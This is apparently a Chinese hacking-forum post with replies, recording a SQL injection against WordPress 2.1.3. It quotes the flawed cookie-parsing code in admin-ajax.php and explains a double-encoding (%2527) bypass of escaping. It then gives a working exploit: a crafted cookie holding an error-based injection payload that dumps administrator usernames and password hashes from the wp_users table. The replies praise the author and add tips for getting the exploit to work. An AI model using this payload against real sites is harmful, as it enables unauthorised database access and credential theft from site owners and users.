记录一个WordPress 2.1.3注入
本帖最后由 Free_小东 于 2016-11-3 18:54 编辑---------------------------------------------------------------------------------------------------------------
* *
* 本文来自08内部分享,未经允许,不得转载. *
* *
---------------------------------------------------------------------------------------------------------------
网站程序用的是 WordPress 2.1.3 ,于是我就在网上搜了漏洞 发现了个 sql注入
链接:http://www.bitscn.com/network/security/200709/110036.html
文章里给了个盲注exp 不好使 没几次暴出来的密码都使不一样 囧.
决定还是自己动手吧 然后看了下文章里的分析
function check_ajax_referer() {
$cookie = explode('; ', urldecode(empty($_POST['cookie']) ?
$_GET['cookie'] : $_POST['cookie'])); // AJAX scripts must pass
cookie=document.cookie
foreach ( $cookie as $tasty ) {
if ( false !== strpos($tasty, USER_COOKIE) )
$user = substr(strstr($tasty, '='), 1);
if ( false !== strpos($tasty, PASS_COOKIE) )
$pass = substr(strstr($tasty, '='), 1);
}
if ( !wp_login( $user, $pass, true ) )
die('-1')
http://www.0-f.org/wp-content/uploads/2014/12/225233uelo8jnbr8oe499w.jpg
我们 通过 strpos($tasty, USER_COOKIE) 和 strpos($tasty, PASS_COOKIE) 的验证就可以了 USER_COOKIE和PASS_COOKIE都是常量
可以看到上图get_option(‘siteurl’)是从数字库中读网站地址 在加一次md5值就可以通过验证了
http://www.0-f.org/wp-content/uploads/2014/12/230115qtx388uamrfz3crz-1024x359.jpg
知道这个后我们来构造下
因为用了urldecode(),我们用%2527来绕过wp做的转义限制
位置代码:
if ( !$user = $wpdb->get_row("SELECT * FROM $wpdb->users WHERE user_login = '$user_login'") )
return false;
exp:
/wp-admin/admin-ajax.php
cookie=wordpressuser_md5(网站url地址)=aa%2527 and(select 1 from(select count(*),concat((select concat(user_login,0x5e,user_pass,0x5e) from wp_users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)– n; wordpresspass_md5(网站url地址)=dddddd
http://www.0-f.org/wp-content/uploads/2014/12/233021n497jm7j7kzthzm4.jpg
666,小东果然厉害 回复看看大牛作品
RE: 记录一个WordPress 2.1.3注入
wuyan 发表于 2016-11-3 19:00666,小东果然厉害
内部分享的 东哥我当你小弟可好 QAQ
Re: 记录一个WordPress 2.1.3注入
感谢分享这个针对WordPress 2.1.3的注入思路,分析得很清楚。老版本里这种未正确过滤的cookie处理确实是个典型问题,用双编码%2527绕过转义的手法也很经典。不过实际利用时可能还要注意网站url那一层md5的获取,不然构造cookie不一定会被正确识别。楼主调试这个exp应该费了不少心思,收藏了。
页:
[1]